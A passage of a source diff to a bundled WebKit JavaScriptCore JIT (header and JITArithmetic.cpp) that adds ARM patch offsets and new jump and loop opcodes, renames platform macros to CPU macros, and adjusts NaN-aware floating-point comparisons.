+        static void compileGetByIdChainList(JSGlobalData* globalData, CallFrame* callFrame, CodeBlock* codeBlock, StructureStubInfo* stubInfo, PolymorphicAccessStructureList* prototypeStructureList, int currentIndex, Structure* structure, StructureChain* chain, size_t count, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset)
         {
             JIT jit(globalData, codeBlock);
-            jit.privateCompileGetByIdChainList(stubInfo, prototypeStructureList, currentIndex, structure, chain, count, cachedOffset, callFrame);
+            jit.privateCompileGetByIdChainList(stubInfo, prototypeStructureList, currentIndex, structure, chain, count, ident, slot, cachedOffset, callFrame);
         }
 
-        static void compileGetByIdChain(JSGlobalData* globalData, CallFrame* callFrame, CodeBlock* codeBlock, StructureStubInfo* stubInfo, Structure* structure, StructureChain* chain, size_t count, size_t cachedOffset, ReturnAddressPtr returnAddress)
+        static void compileGetByIdChain(JSGlobalData* globalData, CallFrame* callFrame, CodeBlock* codeBlock, StructureStubInfo* stubInfo, Structure* structure, StructureChain* chain, size_t count, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset, ReturnAddressPtr returnAddress)
         {
             JIT jit(globalData, codeBlock);
-            jit.privateCompileGetByIdChain(stubInfo, structure, chain, count, cachedOffset, returnAddress, callFrame);
+            jit.privateCompileGetByIdChain(stubInfo, structure, chain, count, ident, slot, cachedOffset, returnAddress, callFrame);
         }
         
         static void compilePutByIdTransition(JSGlobalData* globalData, CodeBlock* codeBlock, StructureStubInfo* stubInfo, Structure* oldStructure, Structure* newStructure, size_t cachedOffset, StructureChain* chain, ReturnAddressPtr returnAddress)
@@ -317,10 +315,10 @@ namespace JSC {
             jit.privateCompilePutByIdTransition(stubInfo, oldStructure, newStructure, cachedOffset, chain, returnAddress);
         }
 
-        static void compileCTIMachineTrampolines(JSGlobalData* globalData, RefPtr<ExecutablePool>* executablePool, CodePtr* ctiStringLengthTrampoline, CodePtr* ctiVirtualCallLink, CodePtr* ctiVirtualCall, CodePtr* ctiNativeCallThunk)
+        static void compileCTIMachineTrampolines(JSGlobalData* globalData, RefPtr<ExecutablePool>* executablePool, TrampolineStructure *trampolines)
         {
             JIT jit(globalData);
-            jit.privateCompileCTIMachineTrampolines(executablePool, globalData, ctiStringLengthTrampoline, ctiVirtualCallLink, ctiVirtualCall, ctiNativeCallThunk);
+            jit.privateCompileCTIMachineTrampolines(executablePool, globalData, trampolines);
         }
 
         static void patchGetByIdSelf(CodeBlock* codeblock, StructureStubInfo*, Structure*, size_t cachedOffset, ReturnAddressPtr returnAddress);
@@ -354,14 +352,14 @@ namespace JSC {
         void privateCompileLinkPass();
         void privateCompileSlowCases();
         JITCode privateCompile();
-        void privateCompileGetByIdProto(StructureStubInfo*, Structure*, Structure* prototypeStructure, size_t cachedOffset, ReturnAddressPtr returnAddress, CallFrame* callFrame);
-        void privateCompileGetByIdSelfList(StructureStubInfo*, PolymorphicAccessStructureList*, int, Structure*, size_t cachedOffset);
-        void privateCompileGetByIdProtoList(StructureStubInfo*, PolymorphicAccessStructureList*, int, Structure*, Structure* prototypeStructure, size_t cachedOffset, CallFrame* callFrame);
-        void privateCompileGetByIdChainList(StructureStubInfo*, PolymorphicAccessStructureList*, int, Structure*, StructureChain* chain, size_t count, size_t cachedOffset, CallFrame* callFrame);
-        void privateCompileGetByIdChain(StructureStubInfo*, Structure*, StructureChain*, size_t count, size_t cachedOffset, ReturnAddressPtr returnAddress, CallFrame* callFrame);
+        void privateCompileGetByIdProto(StructureStubInfo*, Structure*, Structure* prototypeStructure, const Identifier&, const PropertySlot&, size_t cachedOffset, ReturnAddressPtr returnAddress, CallFrame* callFrame);
+        void privateCompileGetByIdSelfList(StructureStubInfo*, PolymorphicAccessStructureList*, int, Structure*, const Identifier&, const PropertySlot&, size_t cachedOffset);
+        void privateCompileGetByIdProtoList(StructureStubInfo*, PolymorphicAccessStructureList*, int, Structure*, Structure* prototypeStructure, const Identifier&, const PropertySlot&, size_t cachedOffset, CallFrame* callFrame);
+        void privateCompileGetByIdChainList(StructureStubInfo*, PolymorphicAccessStructureList*, int, Structure*, StructureChain* chain, size_t count, const Identifier&, const PropertySlot&, size_t cachedOffset, CallFrame* callFrame);
+        void privateCompileGetByIdChain(StructureStubInfo*, Structure*, StructureChain*, size_t count, const Identifier&, const PropertySlot&, size_t cachedOffset, ReturnAddressPtr returnAddress, CallFrame* callFrame);
         void privateCompilePutByIdTransition(StructureStubInfo*, Structure*, Structure*, size_t cachedOffset, StructureChain*, ReturnAddressPtr returnAddress);
 
-        void privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executablePool, JSGlobalData* data, CodePtr* ctiStringLengthTrampoline, CodePtr* ctiVirtualCallLink, CodePtr* ctiVirtualCall, CodePtr* ctiNativeCallThunk);
+        void privateCompileCTIMachineTrampolines(RefPtr<ExecutablePool>* executablePool, JSGlobalData* data, TrampolineStructure *trampolines);
         void privateCompilePatchGetArrayLength(ReturnAddressPtr returnAddress);
 
         void addSlowCase(Jump);
@@ -436,7 +434,7 @@ namespace JSC {
         void emitSub32Constant(unsigned dst, unsigned op, int32_t constant, ResultType opType);
         void emitBinaryDoubleOp(OpcodeID, unsigned dst, unsigned op1, unsigned op2, OperandTypes, JumpList& notInt32Op1, JumpList& notInt32Op2, bool op1IsInRegisters = true, bool op2IsInRegisters = true);
 
-#if PLATFORM(X86)
+#if CPU(X86)
         // These architecture specific value are used to enable patching - see comment on op_put_by_id.
         static const int patchOffsetPutByIdStructure = 7;
         static const int patchOffsetPutByIdExternalLoad = 13;
@@ -465,6 +463,47 @@ namespace JSC {
         static const int patchOffsetMethodCheckProtoObj = 11;
         static const int patchOffsetMethodCheckProtoStruct = 18;
         static const int patchOffsetMethodCheckPutFunction = 29;
+#elif CPU(ARM_TRADITIONAL)
+        // These architecture specific value are used to enable patching - see comment on op_put_by_id.
+        static const int patchOffsetPutByIdStructure = 4;
+        static const int patchOffsetPutByIdExternalLoad = 16;
+        static const int patchLengthPutByIdExternalLoad = 4;
+        static const int patchOffsetPutByIdPropertyMapOffset1 = 20;
+        static const int patchOffsetPutByIdPropertyMapOffset2 = 28;
+        // These architecture specific value are used to enable patching - see comment on op_get_by_id.
+        static const int patchOffsetGetByIdStructure = 4;
+        static const int patchOffsetGetByIdBranchToSlowCase = 16;
+        static const int patchOffsetGetByIdExternalLoad = 16;
+        static const int patchLengthGetByIdExternalLoad = 4;
+        static const int patchOffsetGetByIdPropertyMapOffset1 = 20;
+        static const int patchOffsetGetByIdPropertyMapOffset2 = 28;
+        static const int patchOffsetGetByIdPutResult = 36;
+#if ENABLE(OPCODE_SAMPLING)
+        #error "OPCODE_SAMPLING is not yet supported"
+#else
+        static const int patchOffsetGetByIdSlowCaseCall = 32;
+#endif
+        static const int patchOffsetOpCallCompareToJump = 12;
+
+        static const int patchOffsetMethodCheckProtoObj = 12;
+        static const int patchOffsetMethodCheckProtoStruct = 20;
+        static const int patchOffsetMethodCheckPutFunction = 32;
+
+        // sequenceOpCall
+        static const int sequenceOpCallInstructionSpace = 12;
+        static const int sequenceOpCallConstantSpace = 2;
+        // sequenceMethodCheck
+        static const int sequenceMethodCheckInstructionSpace = 40;
+        static const int sequenceMethodCheckConstantSpace = 6;
+        // sequenceGetByIdHotPath
+        static const int sequenceGetByIdHotPathInstructionSpace = 36;
+        static const int sequenceGetByIdHotPathConstantSpace = 4;
+        // sequenceGetByIdSlowCase
+        static const int sequenceGetByIdSlowCaseInstructionSpace = 40;
+        static const int sequenceGetByIdSlowCaseConstantSpace = 2;
+        // sequencePutById
+        static const int sequencePutByIdInstructionSpace = 36;
+        static const int sequencePutByIdConstantSpace = 4;
 #else
 #error "JSVALUE32_64 not supported on this platform."
 #endif
@@ -533,7 +572,7 @@ namespace JSC {
         void compileGetDirectOffset(RegisterID base, RegisterID result, RegisterID structure, RegisterID offset, RegisterID scratch);
         void compilePutDirectOffset(RegisterID base, RegisterID value, Structure* structure, size_t cachedOffset);
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         // These architecture specific value are used to enable patching - see comment on op_put_by_id.
         static const int patchOffsetPutByIdStructure = 10;
         static const int patchOffsetPutByIdExternalLoad = 20;
@@ -556,7 +595,7 @@ namespace JSC {
         static const int patchOffsetMethodCheckProtoObj = 20;
         static const int patchOffsetMethodCheckProtoStruct = 30;
         static const int patchOffsetMethodCheckPutFunction = 50;
-#elif PLATFORM(X86)
+#elif CPU(X86)
         // These architecture specific value are used to enable patching - see comment on op_put_by_id.
         static const int patchOffsetPutByIdStructure = 7;
         static const int patchOffsetPutByIdExternalLoad = 13;
@@ -583,7 +622,7 @@ namespace JSC {
         static const int patchOffsetMethodCheckProtoObj = 11;
         static const int patchOffsetMethodCheckProtoStruct = 18;
         static const int patchOffsetMethodCheckPutFunction = 29;
-#elif PLATFORM(ARM_THUMB2)
+#elif CPU(ARM_THUMB2)
         // These architecture specific value are used to enable patching - see comment on op_put_by_id.
         static const int patchOffsetPutByIdStructure = 10;
         static const int patchOffsetPutByIdExternalLoad = 26;
@@ -606,7 +645,7 @@ namespace JSC {
         static const int patchOffsetMethodCheckProtoObj = 24;
         static const int patchOffsetMethodCheckProtoStruct = 34;
         static const int patchOffsetMethodCheckPutFunction = 58;
-#elif PLATFORM(ARM_TRADITIONAL)
+#elif CPU(ARM_TRADITIONAL)
         // These architecture specific value are used to enable patching - see comment on op_put_by_id.
         static const int patchOffsetPutByIdStructure = 4;
         static const int patchOffsetPutByIdExternalLoad = 16;
@@ -629,10 +668,7 @@ namespace JSC {
         static const int patchOffsetMethodCheckProtoObj = 12;
         static const int patchOffsetMethodCheckProtoStruct = 20;
         static const int patchOffsetMethodCheckPutFunction = 32;
-#endif
-#endif // USE(JSVALUE32_64)
 
-#if PLATFORM(ARM_TRADITIONAL)
         // sequenceOpCall
         static const int sequenceOpCallInstructionSpace = 12;
         static const int sequenceOpCallConstantSpace = 2;
@@ -649,6 +685,7 @@ namespace JSC {
         static const int sequencePutByIdInstructionSpace = 28;
         static const int sequencePutByIdConstantSpace = 3;
 #endif
+#endif // USE(JSVALUE32_64)
 
 #if defined(ASSEMBLER_HAS_CONSTANT_POOL) && ASSEMBLER_HAS_CONSTANT_POOL
 #define BEGIN_UNINTERRUPTED_SEQUENCE(name) beginUninterruptedSequence(name ## InstructionSpace, name ## ConstantSpace)
@@ -697,6 +734,7 @@ namespace JSC {
         void emit_op_jneq_null(Instruction*);
         void emit_op_jneq_ptr(Instruction*);
         void emit_op_jnless(Instruction*);
+        void emit_op_jless(Instruction*);
         void emit_op_jnlesseq(Instruction*);
         void emit_op_jsr(Instruction*);
         void emit_op_jtrue(Instruction*);
@@ -705,6 +743,7 @@ namespace JSC {
         void emit_op_loop_if_less(Instruction*);
         void emit_op_loop_if_lesseq(Instruction*);
         void emit_op_loop_if_true(Instruction*);
+        void emit_op_loop_if_false(Instruction*);
         void emit_op_lshift(Instruction*);
         void emit_op_method_check(Instruction*);
         void emit_op_mod(Instruction*);
@@ -759,6 +798,9 @@ namespace JSC {
         void emit_op_to_jsnumber(Instruction*);
         void emit_op_to_primitive(Instruction*);
         void emit_op_unexpected_load(Instruction*);
+#if ENABLE(JIT_OPTIMIZE_MOD)
+        void softModulo();
+#endif
 
         void emitSlow_op_add(Instruction*, Vector<SlowCaseEntry>::iterator&);
         void emitSlow_op_bitand(Instruction*, Vector<SlowCaseEntry>::iterator&);
@@ -779,11 +821,13 @@ namespace JSC {
         void emitSlow_op_instanceof(Instruction*, Vector<SlowCaseEntry>::iterator&);
         void emitSlow_op_jfalse(Instruction*, Vector<SlowCaseEntry>::iterator&);
         void emitSlow_op_jnless(Instruction*, Vector<SlowCaseEntry>::iterator&);
+        void emitSlow_op_jless(Instruction*, Vector<SlowCaseEntry>::iterator&);
         void emitSlow_op_jnlesseq(Instruction*, Vector<SlowCaseEntry>::iterator&);
         void emitSlow_op_jtrue(Instruction*, Vector<SlowCaseEntry>::iterator&);
         void emitSlow_op_loop_if_less(Instruction*, Vector<SlowCaseEntry>::iterator&);
         void emitSlow_op_loop_if_lesseq(Instruction*, Vector<SlowCaseEntry>::iterator&);
         void emitSlow_op_loop_if_true(Instruction*, Vector<SlowCaseEntry>::iterator&);
+        void emitSlow_op_loop_if_false(Instruction*, Vector<SlowCaseEntry>::iterator&);
         void emitSlow_op_lshift(Instruction*, Vector<SlowCaseEntry>::iterator&);
         void emitSlow_op_method_check(Instruction*, Vector<SlowCaseEntry>::iterator&);
         void emitSlow_op_mod(Instruction*, Vector<SlowCaseEntry>::iterator&);
@@ -911,6 +955,46 @@ namespace JSC {
 #endif
 #endif
     } JIT_CLASS_ALIGNMENT;
+
+    inline void JIT::emit_op_loop(Instruction* currentInstruction)
+    {
+        emitTimeoutCheck();
+        emit_op_jmp(currentInstruction);
+    }
+
+    inline void JIT::emit_op_loop_if_true(Instruction* currentInstruction)
+    {
+        emitTimeoutCheck();
+        emit_op_jtrue(currentInstruction);
+    }
+
+    inline void JIT::emitSlow_op_loop_if_true(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
+    {
+        emitSlow_op_jtrue(currentInstruction, iter);
+    }
+
+    inline void JIT::emit_op_loop_if_false(Instruction* currentInstruction)
+    {
+        emitTimeoutCheck();
+        emit_op_jfalse(currentInstruction);
+    }
+
+    inline void JIT::emitSlow_op_loop_if_false(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
+    {
+        emitSlow_op_jfalse(currentInstruction, iter);
+    }
+
+    inline void JIT::emit_op_loop_if_less(Instruction* currentInstruction)
+    {
+        emitTimeoutCheck();
+        emit_op_jless(currentInstruction);
+    }
+
+    inline void JIT::emitSlow_op_loop_if_less(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
+    {
+        emitSlow_op_jless(currentInstruction, iter);
+    }
+
 } // namespace JSC
 
 #endif // ENABLE(JIT)
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/JITArithmetic.cpp b/src/3rdparty/webkit/JavaScriptCore/jit/JITArithmetic.cpp
index 8cda482..2e1ff40 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/JITArithmetic.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/JITArithmetic.cpp
@@ -31,6 +31,7 @@
 #include "CodeBlock.h"
 #include "JITInlineMethods.h"
 #include "JITStubCall.h"
+#include "JITStubs.h"
 #include "JSArray.h"
 #include "JSFunction.h"
 #include "Interpreter.h"
@@ -55,8 +56,7 @@ void JIT::emit_op_negate(Instruction* currentInstruction)
     emitLoad(src, regT1, regT0);
 
     Jump srcNotInt = branch32(NotEqual, regT1, Imm32(JSValue::Int32Tag));
-    addSlowCase(branch32(Equal, regT0, Imm32(0)));
-
+    addSlowCase(branchTest32(Zero, regT0, Imm32(0x7fffffff)));
     neg32(regT0);
     emitStoreInt32(dst, regT0, (dst == src));
 
@@ -77,7 +77,7 @@ void JIT::emitSlow_op_negate(Instruction* currentInstruction, Vector<SlowCaseEnt
 {
     unsigned dst = currentInstruction[1].u.operand;
 
-    linkSlowCase(iter); // 0 check
+    linkSlowCase(iter); // 0x7fffffff check
     linkSlowCase(iter); // double check
 
     JITStubCall stubCall(this, cti_op_negate);
@@ -148,6 +148,69 @@ void JIT::emitSlow_op_jnless(Instruction* currentInstruction, Vector<SlowCaseEnt
     emitJumpSlowToHot(branchTest32(Zero, regT0), target);
 }
 
+void JIT::emit_op_jless(Instruction* currentInstruction)
+{
+    unsigned op1 = currentInstruction[1].u.operand;
+    unsigned op2 = currentInstruction[2].u.operand;
+    unsigned target = currentInstruction[3].u.operand;
+
+    JumpList notInt32Op1;
+    JumpList notInt32Op2;
+
+    // Int32 less.
+    if (isOperandConstantImmediateInt(op1)) {
+        emitLoad(op2, regT3, regT2);
+        notInt32Op2.append(branch32(NotEqual, regT3, Imm32(JSValue::Int32Tag)));
+        addJump(branch32(GreaterThan, regT2, Imm32(getConstantOperand(op1).asInt32())), target);
+    } else if (isOperandConstantImmediateInt(op2)) {
+        emitLoad(op1, regT1, regT0);
+        notInt32Op1.append(branch32(NotEqual, regT1, Imm32(JSValue::Int32Tag)));
+        addJump(branch32(LessThan, regT0, Imm32(getConstantOperand(op2).asInt32())), target);
+    } else {
+        emitLoad2(op1, regT1, regT0, op2, regT3, regT2);
+        notInt32Op1.append(branch32(NotEqual, regT1, Imm32(JSValue::Int32Tag)));
+        notInt32Op2.append(branch32(NotEqual, regT3, Imm32(JSValue::Int32Tag)));
+        addJump(branch32(LessThan, regT0, regT2), target);
+    }
+
+    if (!supportsFloatingPoint()) {
+        addSlowCase(notInt32Op1);
+        addSlowCase(notInt32Op2);
+        return;
+    }
+    Jump end = jump();
+
+    // Double less.
+    emitBinaryDoubleOp(op_jless, target, op1, op2, OperandTypes(), notInt32Op1, notInt32Op2, !isOperandConstantImmediateInt(op1), isOperandConstantImmediateInt(op1) || !isOperandConstantImmediateInt(op2));
+    end.link(this);
+}
+
+void JIT::emitSlow_op_jless(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
+{
+    unsigned op1 = currentInstruction[1].u.operand;
+    unsigned op2 = currentInstruction[2].u.operand;
+    unsigned target = currentInstruction[3].u.operand;
+
+    if (!supportsFloatingPoint()) {
+        if (!isOperandConstantImmediateInt(op1) && !isOperandConstantImmediateInt(op2))
+            linkSlowCase(iter); // int32 check
+        linkSlowCase(iter); // int32 check
+    } else {
+        if (!isOperandConstantImmediateInt(op1)) {
+            linkSlowCase(iter); // double check
+            linkSlowCase(iter); // int32 check
+        }
+        if (isOperandConstantImmediateInt(op1) || !isOperandConstantImmediateInt(op2))
+            linkSlowCase(iter); // double check
+    }
+
+    JITStubCall stubCall(this, cti_op_jless);
+    stubCall.addArgument(op1);
+    stubCall.addArgument(op2);
+    stubCall.call();
+    emitJumpSlowToHot(branchTest32(NonZero, regT0), target);
+}
+
 void JIT::emit_op_jnlesseq(Instruction* currentInstruction)
 {
     unsigned op1 = currentInstruction[1].u.operand;
@@ -829,11 +892,15 @@ void JIT::emitBinaryDoubleOp(OpcodeID opcodeID, unsigned dst, unsigned op1, unsi
                 break;
             case op_jnless:
                 emitLoadDouble(op1, fpRegT2);
-                addJump(branchDouble(DoubleLessThanOrEqual, fpRegT0, fpRegT2), dst);
+                addJump(branchDouble(DoubleLessThanOrEqualOrUnordered, fpRegT0, fpRegT2), dst);
+                break;
+            case op_jless:
+                emitLoadDouble(op1, fpRegT2);
+                addJump(branchDouble(DoubleLessThan, fpRegT2, fpRegT0), dst);
                 break;
             case op_jnlesseq:
                 emitLoadDouble(op1, fpRegT2);
-                addJump(branchDouble(DoubleLessThan, fpRegT0, fpRegT2), dst);
+                addJump(branchDouble(DoubleLessThanOrUnordered, fpRegT0, fpRegT2), dst);
                 break;
             default:
                 ASSERT_NOT_REACHED();
@@ -882,11 +949,15 @@ void JIT::emitBinaryDoubleOp(OpcodeID opcodeID, unsigned dst, unsigned op1, unsi
                 break;
             case op_jnless:
                 emitLoadDouble(op2, fpRegT1);
-                addJump(branchDouble(DoubleLessThanOrEqual, fpRegT1, fpRegT0), dst);
+                addJump(branchDouble(DoubleLessThanOrEqualOrUnordered, fpRegT1, fpRegT0), dst);
+                break;
+            case op_jless:
+                emitLoadDouble(op2, fpRegT1);
+                addJump(branchDouble(DoubleLessThan, fpRegT0, fpRegT1), dst);
                 break;
             case op_jnlesseq:
                 emitLoadDouble(op2, fpRegT1);
-                addJump(branchDouble(DoubleLessThan, fpRegT1, fpRegT0), dst);
+                addJump(branchDouble(DoubleLessThanOrUnordered, fpRegT1, fpRegT0), dst);
                 break;
             default:
                 ASSERT_NOT_REACHED();
@@ -1000,20 +1071,11 @@ void JIT::emit_op_div(Instruction* currentInstruction)
     divDouble(fpRegT1, fpRegT0);
 
     JumpList doubleResult;
-    if (!isOperandConstantImmediateInt(op1) || getConstantOperand(op1).asInt32() > 1) {
-        m_assembler.cvttsd2si_rr(fpRegT0, regT0);
-        convertInt32ToDouble(regT0, fpRegT1);
-        m_assembler.ucomisd_rr(fpRegT1, fpRegT0);
+    branchConvertDoubleToInt32(fpRegT0, regT0, doubleResult, fpRegT1);
 
-        doubleResult.append(m_assembler.jne());
-        doubleResult.append(m_assembler.jp());
-        
-        doubleResult.append(branchTest32(Zero, regT0));
-
-        // Int32 result.
-        emitStoreInt32(dst, regT0, (op1 == dst || op2 == dst));
-        end.append(jump());
-    }
+    // Int32 result.
+    emitStoreInt32(dst, regT0, (op1 == dst || op2 == dst));
+    end.append(jump());
 
     // Double result.
     doubleResult.link(this);
@@ -1054,7 +1116,7 @@ void JIT::emitSlow_op_div(Instruction* currentInstruction, Vector<SlowCaseEntry>
 
 /* ------------------------------ BEGIN: OP_MOD ------------------------------ */
 
-#if PLATFORM(X86) || PLATFORM(X86_64)
+#if CPU(X86) || CPU(X86_64)
 
 void JIT::emit_op_mod(Instruction* currentInstruction)
 {
@@ -1116,7 +1178,7 @@ void JIT::emitSlow_op_mod(Instruction* currentInstruction, Vector<SlowCaseEntry>
     stubCall.call(dst);
 }
 
-#else // PLATFORM(X86) || PLATFORM(X86_64)
+#else // CPU(X86) || CPU(X86_64)
 
 void JIT::emit_op_mod(Instruction* currentInstruction)
 {
@@ -1124,17 +1186,43 @@ void JIT::emit_op_mod(Instruction* currentInstruction)
     unsigned op1 = currentInstruction[2].u.operand;
     unsigned op2 = currentInstruction[3].u.operand;
 
+#if ENABLE(JIT_OPTIMIZE_MOD)    
+    emitLoad2(op1, regT1, regT0, op2, regT3, regT2);
+    addSlowCase(branch32(NotEqual, regT1, Imm32(JSValue::Int32Tag)));
+    addSlowCase(branch32(NotEqual, regT3, Imm32(JSValue::Int32Tag)));
+    
+    addSlowCase(branch32(Equal, regT2, Imm32(0)));
+    
+    emitNakedCall(m_globalData->jitStubs.ctiSoftModulo());
+
+    emitStoreInt32(dst, regT0, (op1 == dst || op2 == dst));
+#else
     JITStubCall stubCall(this, cti_op_mod);
     stubCall.addArgument(op1);
     stubCall.addArgument(op2);
     stubCall.call(dst);
+#endif
 }
 
-void JIT::emitSlow_op_mod(Instruction*, Vector<SlowCaseEntry>::iterator&)
+void JIT::emitSlow_op_mod(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
 {
+#if ENABLE(JIT_OPTIMIZE_MOD)
+    unsigned result = currentInstruction[1].u.operand;
+    unsigned op1 = currentInstruction[2].u.operand;
+    unsigned op2 = currentInstruction[3].u.operand;
+    linkSlowCase(iter);
+    linkSlowCase(iter);
+    linkSlowCase(iter);
+    JITStubCall stubCall(this, cti_op_mod);
+    stubCall.addArgument(op1);
+    stubCall.addArgument(op2);
+    stubCall.call(result);
+#else
+    ASSERT_NOT_REACHED();
+#endif
 }
 
-#endif // PLATFORM(X86) || PLATFORM(X86_64)
+#endif // CPU(X86) || CPU(X86_64)
 
 /* ------------------------------ END: OP_MOD ------------------------------ */
 
@@ -1152,13 +1240,8 @@ void JIT::emit_op_lshift(Instruction* currentInstruction)
     emitJumpSlowCaseIfNotImmediateInteger(regT2);
     emitFastArithImmToInt(regT0);
     emitFastArithImmToInt(regT2);
-#if !PLATFORM(X86)
-    // Mask with 0x1f as per ecma-262 11.7.2 step 7.
-    // On 32-bit x86 this is not necessary, since the shift anount is implicitly masked in the instruction.
-    and32(Imm32(0x1f), regT2);
-#endif
     lshift32(regT2, regT0);
-#if !USE(JSVALUE64)
+#if USE(JSVALUE32)
     addSlowCase(branchAdd32(Overflow, regT0, regT0));
     signExtend32ToPtr(regT0, regT0);
 #endif
@@ -1203,11 +1286,7 @@ void JIT::emit_op_rshift(Instruction* currentInstruction)
         emitGetVirtualRegister(op1, regT0);
         emitJumpSlowCaseIfNotImmediateInteger(regT0);
         // Mask with 0x1f as per ecma-262 11.7.2 step 7.
-#if USE(JSVALUE64)
         rshift32(Imm32(getConstantOperandImmediateInt(op2) & 0x1f), regT0);
-#else
-        rshiftPtr(Imm32(getConstantOperandImmediateInt(op2) & 0x1f), regT0);
-#endif
     } else {
         emitGetVirtualRegisters(op1, regT0, op2, regT2);
         if (supportsFloatingPointTruncate()) {
@@ -1234,15 +1313,9 @@ void JIT::emit_op_rshift(Instruction* currentInstruction)
             emitJumpSlowCaseIfNotImmediateInteger(regT2);
         }
         emitFastArithImmToInt(regT2);
-#if !PLATFORM(X86)
-        // Mask with 0x1f as per ecma-262 11.7.2 step 7.
-        // On 32-bit x86 this is not necessary, since the shift anount is implicitly masked in the instruction.
-        and32(Imm32(0x1f), regT2);
-#endif
-#if USE(JSVALUE64)
         rshift32(regT2, regT0);
-#else
-        rshiftPtr(regT2, regT0);
+#if USE(JSVALUE32)
+        signExtend32ToPtr(regT0, regT0);
 #endif
     }
 #if USE(JSVALUE64)
@@ -1365,7 +1438,7 @@ void JIT::emitSlow_op_jnless(Instruction* currentInstruction, Vector<SlowCaseEnt
             move(Imm32(op2imm), regT1);
             convertInt32ToDouble(regT1, fpRegT1);
 
-            emitJumpSlowToHot(branchDouble(DoubleLessThanOrEqual, fpRegT1, fpRegT0), target);
+            emitJumpSlowToHot(branchDouble(DoubleLessThanOrEqualOrUnordered, fpRegT1, fpRegT0), target);
 
             emitJumpSlowToHot(jump(), OPCODE_LENGTH(op_jnless));
 
@@ -1406,7 +1479,7 @@ void JIT::emitSlow_op_jnless(Instruction* currentInstruction, Vector<SlowCaseEnt
             move(Imm32(op1imm), regT0);
             convertInt32ToDouble(regT0, fpRegT0);
 
-            emitJumpSlowToHot(branchDouble(DoubleLessThanOrEqual, fpRegT1, fpRegT0), target);
+            emitJumpSlowToHot(branchDouble(DoubleLessThanOrEqualOrUnordered, fpRegT1, fpRegT0), target);
 
             emitJumpSlowToHot(jump(), OPCODE_LENGTH(op_jnless));
 
@@ -1452,7 +1525,7 @@ void JIT::emitSlow_op_jnless(Instruction* currentInstruction, Vector<SlowCaseEnt
             loadDouble(Address(regT1, OBJECT_OFFSETOF(JSNumberCell, m_value)), fpRegT1);
 #endif
 
-            emitJumpSlowToHot(branchDouble(DoubleLessThanOrEqual, fpRegT1, fpRegT0), target);
+            emitJumpSlowToHot(branchDouble(DoubleLessThanOrEqualOrUnordered, fpRegT1, fpRegT0), target);
 
             emitJumpSlowToHot(jump(), OPCODE_LENGTH(op_jnless));
 
@@ -1479,6 +1552,191 @@ void JIT::emitSlow_op_jnless(Instruction* currentInstruction, Vector<SlowCaseEnt
     }
 }
 
+void JIT::emit_op_jless(Instruction* currentInstruction)
+{
+    unsigned op1 = currentInstruction[1].u.operand;
+    unsigned op2 = currentInstruction[2].u.operand;
+    unsigned target = currentInstruction[3].u.operand;
+
+    // We generate inline code for the following cases in the fast path:
+    // - int immediate to constant int immediate
+    // - constant int immediate to int immediate
+    // - int immediate to int immediate
+
+    if (isOperandConstantImmediateInt(op2)) {
+        emitGetVirtualRegister(op1, regT0);
+        emitJumpSlowCaseIfNotImmediateInteger(regT0);
+#if USE(JSVALUE64)
+        int32_t op2imm = getConstantOperandImmediateInt(op2);
+#else
+        int32_t op2imm = static_cast<int32_t>(JSImmediate::rawValue(getConstantOperand(op2)));
+#endif
+        addJump(branch32(LessThan, regT0, Imm32(op2imm)), target);
+    } else if (isOperandConstantImmediateInt(op1)) {
+        emitGetVirtualRegister(op2, regT1);
+        emitJumpSlowCaseIfNotImmediateInteger(regT1);
+#if USE(JSVALUE64)
+        int32_t op1imm = getConstantOperandImmediateInt(op1);
+#else
+        int32_t op1imm = static_cast<int32_t>(JSImmediate::rawValue(getConstantOperand(op1)));
+#endif
+        addJump(branch32(GreaterThan, regT1, Imm32(op1imm)), target);
+    } else {
+        emitGetVirtualRegisters(op1, regT0, op2, regT1);
+        emitJumpSlowCaseIfNotImmediateInteger(regT0);
+        emitJumpSlowCaseIfNotImmediateInteger(regT1);
+
+        addJump(branch32(LessThan, regT0, regT1), target);
+    }
+}
+
+void JIT::emitSlow_op_jless(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
+{
+    unsigned op1 = currentInstruction[1].u.operand;
+    unsigned op2 = currentInstruction[2].u.operand;
+    unsigned target = currentInstruction[3].u.operand;
+
+    // We generate inline code for the following cases in the slow path:
+    // - floating-point number to constant int immediate
+    // - constant int immediate to floating-point number
+    // - floating-point number to floating-point number.
+
+    if (isOperandConstantImmediateInt(op2)) {
+        linkSlowCase(iter);
+
+        if (supportsFloatingPoint()) {
+#if USE(JSVALUE64)
+            Jump fail1 = emitJumpIfNotImmediateNumber(regT0);
+            addPtr(tagTypeNumberRegister, regT0);
+            movePtrToDouble(regT0, fpRegT0);
+#else
+            Jump fail1;
+            if (!m_codeBlock->isKnownNotImmediate(op1))
+                fail1 = emitJumpIfNotJSCell(regT0);
+
+            Jump fail2 = checkStructure(regT0, m_globalData->numberStructure.get());
+            loadDouble(Address(regT0, OBJECT_OFFSETOF(JSNumberCell, m_value)), fpRegT0);
+#endif
+            
+            int32_t op2imm = getConstantOperand(op2).asInt32();
+                    
+            move(Imm32(op2imm), regT1);
+            convertInt32ToDouble(regT1, fpRegT1);
+
+            emitJumpSlowToHot(branchDouble(DoubleLessThan, fpRegT0, fpRegT1), target);
+
+            emitJumpSlowToHot(jump(), OPCODE_LENGTH(op_jnless));
+
+#if USE(JSVALUE64)
+            fail1.link(this);
+#else
+            if (!m_codeBlock->isKnownNotImmediate(op1))
+                fail1.link(this);
+            fail2.link(this);
+#endif
+        }
+
+        JITStubCall stubCall(this, cti_op_jless);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(op2, regT2);
+        stubCall.call();
+        emitJumpSlowToHot(branchTest32(NonZero, regT0), target);
+
+    } else if (isOperandConstantImmediateInt(op1)) {
+        linkSlowCase(iter);
+
+        if (supportsFloatingPoint()) {
+#if USE(JSVALUE64)
